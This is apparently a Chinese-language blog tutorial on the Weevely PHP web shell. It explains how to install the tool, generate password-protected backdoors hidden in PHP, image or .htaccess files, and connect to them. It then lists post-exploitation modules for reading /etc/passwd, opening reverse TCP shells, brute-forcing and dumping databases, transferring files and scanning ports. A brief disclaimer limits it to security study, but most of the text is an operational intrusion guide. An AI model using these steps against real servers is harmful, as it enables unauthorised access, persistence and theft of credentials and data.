0x0前言

Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.

Weevely是一个用python写的一个作用于php的web shell工具,可以很好帮助开发者进行开发,但是它又是一个很好的php后门程序。

(仅用于安全学习教学之用,禁止非法用途)

项目地址:https://github.com/epinna/Weevely

环境:python>= 2.7.10

linux环境安装:

# Make sure that the python package manager and yaml libraries are installed
$ sudo apt-get install g++ python-pip libyaml-dev python-dev libncurses5-dev
# Install requirements from within the weevely3/ folder
$ cd weevely3/
$ sudo pip install -r requirements.txt --upgrade

OS X环境安装:

$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
# Ideally, at this point you should install editline library (http://thrysoee.dk/editline/)
# to have a working line completion in terminal. See issue #7 for more info.
# Install requirements from within the weevely3/ folder
$ cd weevely3/
$ sudo pip install -r requirements.txt --upgrade

Windows环境安装:

# Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and
# install the following requirements
> pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

0x1生成后门文件

可以生成三种文件后门:

  • php(生成php后门文件)
  • img(将后门代码插入到图片中,并修改.htaccess,该后门需要服务器开启.htaccess)
  • htaccess(将后门代码插入到.htaccess,同样需要开启.htaccess支持)

使用:

格式:weevely generate <password> <path>

例子:weevely generate mypassword ~/test.php(生成了一名为“test.php”密码为“mypassword”的php后门。最好在文件名前加路径,不然可能生成的文件在weevely的根目录下)

weevely generate mypassword ~/test.jpg(生成了一名为“test.php”密码为“mypassword”的图片后门)

0x2连接

格式:weevely <URL> <password> [cmd]

例子:weevely http://127.0.0.1/test.php mypassword(连接了php后门。连接img或htaccess后门需要开启服务器对htaccess的支持)

0x3操作

连接成功后即可对服务器进行相应操作。

-audit.userfiles 枚举用户目录下的具有权限的文件(可加载用户字典),默认情况下字典很小(注意:该模块目前只支持linux,windows不支持)

-audit.systemfiles [logs|root|home|…] 枚举各种系统目录并寻找可读写的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等等(注意:该模块也仅支持linux,windows不支持)

-audit.phpconf 查看php配置信息

-audit.etcpasswd [-real] 查看/etc/passwd文件(特殊说明:很多命令的-vector参数是用以指定php执行命令函数的,当默认函数不可用是,使用该参数来尝试指定其他命令执行函数来获取信息),同时也可使用-real参数来过滤出真实用户

-audit.mapwebfiles 从制定url开始爬取目标站点结构,可用-depth参数来指定爬取深度

-shell.sh/shell.php 利用接口执行命令,和虚拟终端类似

-system.info 在weevely里比较由用的一个模块,可以获取到系统的基本信息

-backdoor.reverstcp host port [-vector] 反弹一个tcp shell到目标端口(同样也可指定向量:选择反弹shell的形式,nc,perl,ruby等)

-backdoor.tcp -port <listen_port> -no-connect [-vector] 在本地打开一个端口,等待连接(查看了该模块的源码,使用时必须带上-no-connect才能监听成功,负责他会在本地形成一个tcp环路)

-net.ifaces 查看网络ip地址

-file.upload lpath rpath 上传本地文件到目标站点指定路径

-file.rm filename [-recursive] [-vector] 删除指定文件,可开启安全确认模式

-file.check 用以检查目标站点下文件的状态(md5值,大小,权限等)

-file.download rpath lpath [-vector] 将目标站点上的文件下载到本地(可用于批量会话操作)

-file.edit filename 对指定文件进行编辑

-file.read filename 读取指定文件内容

-file.ls path 列觉指定路径的文件信息

-file.upload2web 将本地文件上传至目标站点文件夹(可自动枚举到一个可写目录将其写入)

-file.webdownload <webfile_path> filename 从其他服务器上下载文件到目标站点

-file.touch rpath 创建一个新文件

-bruteforce.sql 爆破指定数据库用户名密码

-bruteforce.sqlusers 爆破所有数据库用户密码

-sql.dump 脱裤,你懂的 ^_^

-sql.console sql交互式终端

-net.scan 端口扫描

-find.perms 搜索具有读、写、执行权限的文件,好像比较给力

-find.suidsgid 搜索linux具有suid或者sgid标记的文件

-find.name 查找某文件或者文件夹

Last modification:October 23rd, 2019 at 08:32 pm
如果觉得我的文章对你有用,请随意赞赏